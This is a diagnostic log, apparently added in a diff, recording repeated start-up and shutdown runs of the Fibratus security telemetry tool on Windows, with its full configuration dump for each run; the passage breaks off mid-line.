+time=2025-11-21T12:28:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:28:37+01:00 level=info msg=bootstrapping with pid 7404. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:28:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false buffer-size=>512 enable-fileio=>true enable-threadpool=>false enable-net=>true enable-handle=>false stack-enrichment=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-vamap=>true min-buffers=>16 enable-image=>true max-buffers=>36 flush-interval=>1s enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info formatter=>text log-stdout=>true max-size=>100] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient exchange=>fibratus vhost=>/ durable=>false] elasticsearch=>[ enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false template-name=>fibratus index-name=>fibratus healthcheck=>true healthcheck-interval=>10s timeout=>5s flush-period=>1s bulk-workers=>1 trace-log=>false] http=>[ timeout=>5s serializer=>json method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] scan-timeout=>10s skip-files=>false fastscan=>true skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:28:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:28:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:32:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:32:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:32:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:34:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:34:19+01:00 level=info msg=bootstrapping with pid 5944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:34:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-threadpool=>false enable-dns=>false enable-audit-api=>true enable-net=>true min-buffers=>16 stack-enrichment=>true enable-registry=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s enable-image=>true enable-fileio=>true buffer-size=>512 enable-mem=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-backups=>15 formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json endpoints=>[] method=>POST enabled=>false timeout=>5s] amqp=>[ durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ passive=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus enabled=>false exchange=>fibratus exchange-type=>topic] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ gzip-compression=>false flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-interval=>10s healthcheck=>true enabled=>false bulk-workers=>1 index-name=>fibratus sniff=>false timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:34:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:34:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:42:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:42:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:42:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:46:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:46:06+01:00 level=info msg=bootstrapping with pid 8412. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:46:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true max-buffers=>36 enable-vamap=>true enable-thread=>true stack-enrichment=>true enable-net=>true min-buffers=>16 enable-fileio=>true flush-interval=>1s enable-registry=>true enable-image=>true enable-threadpool=>false enable-dns=>false enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-age=>0 max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ delivery-mode=>transient timeout=>5s exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus exchange-type=>topic vhost=>/ durable=>false] elasticsearch=>[ trace-log=>false index-name=>fibratus template-name=>fibratus flush-period=>1s bulk-workers=>1 sniff=>false timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false enabled=>false healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ serializer=>json timeout=>5s method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false scan-timeout=>10s excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false skip-files=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:46:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:46:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:47:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:47:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:47:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:47:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:47:58+01:00 level=info msg=bootstrapping with pid 12468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:47:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true enable-vamap=>true enable-image=>true buffer-size=>512 flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-dns=>false enable-mem=>false enable-handle=>false max-buffers=>36 min-buffers=>16 enable-thread=>true enable-registry=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s method=>POST enable-gzip=>false enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ vhost=>/ exchange=>fibratus exchange-type=>topic timeout=>5s delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false durable=>false enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 flush-period=>1s healthcheck=>true healthcheck-interval=>10s index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s timeout=>5s trace-log=>false enabled=>false template-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false fastscan=>true skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:47:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:48:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:49:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:50:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:50:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:50:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:50:12+01:00 level=info msg=bootstrapping with pid 8428. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:50:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-handle=>false min-buffers=>16 enable-thread=>true enable-net=>true enable-image=>true stack-enrichment=>true max-buffers=>36 flush-interval=>1s enable-vamap=>true enable-threadpool=>false enable-fileio=>true enable-audit-api=>true buffer-size=>512 enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ timeout=>5s delivery-mode=>transient enabled=>false passive=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ enable-gzip=>false serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s] elasticsearch=>[ index-name=>fibratus flush-period=>1s healthcheck=>true trace-log=>false servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 sniff=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-files=>false skip-mmaps=>false enabled=>false skip-registry=>false fastscan=>true skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:50:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:50:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:53:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:53:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:53:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:53:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:53:46+01:00 level=info msg=bootstrapping with pid 14612. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:53:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true stack-enrichment=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true flush-interval=>1s buffer-size=>512 enable-dns=>false enable-thread=>true max-buffers=>36 enable-handle=>false enable-vamap=>true enable-mem=>false enable-threadpool=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text log-stdout=>true max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true enabled=>false index-name=>fibratus trace-log=>false] amqp=>[ exchange=>fibratus routing-key=>fibratus vhost=>/ exchange-type=>topic timeout=>5s enabled=>false url=>amqp://localhost:5672 delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ method=>POST enable-gzip=>false endpoints=>[] enabled=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false excluded-files=>[] enabled=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:53:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:53:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:54:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:54:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:54:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:54:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:54:46+01:00 level=info msg=bootstrapping with pid 14316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:54:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-registry=>true enable-dns=>false max-buffers=>36 enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-vamap=>true min-buffers=>16 buffer-size=>512 enable-handle=>false enable-thread=>true enable-audit-api=>true enable-mem=>false enable-net=>true flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false healthcheck=>true bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s timeout=>5s sniff=>false healthcheck-timeout=>5s gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic passive=>false durable=>false timeout=>5s vhost=>/ exchange=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s fastscan=>true excluded-files=>[] enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:54:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:54:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:55:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:55:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:55:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:55:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T12:55:15+01:00 level=info msg=bootstrapping with pid 8860. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T12:55:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 enable-fileio=>true enable-threadpool=>false enable-dns=>false enable-vamap=>true enable-registry=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 flush-interval=>1s enable-thread=>true enable-audit-api=>true enable-mem=>false enable-handle=>false enable-net=>true stack-enrichment=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 level=>info max-size=>100 log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ method=>POST endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false] amqp=>[ delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 enabled=>false timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false passive=>false durable=>false routing-key=>fibratus vhost=>/] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false bulk-workers=>1 index-name=>fibratus template-name=>fibratus enabled=>false trace-log=>false healthcheck-interval=>10s sniff=>false healthcheck=>true]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false fastscan=>true skip-files=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T12:55:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:55:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T12:59:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T12:59:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T12:59:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:00:19+01:00 level=info 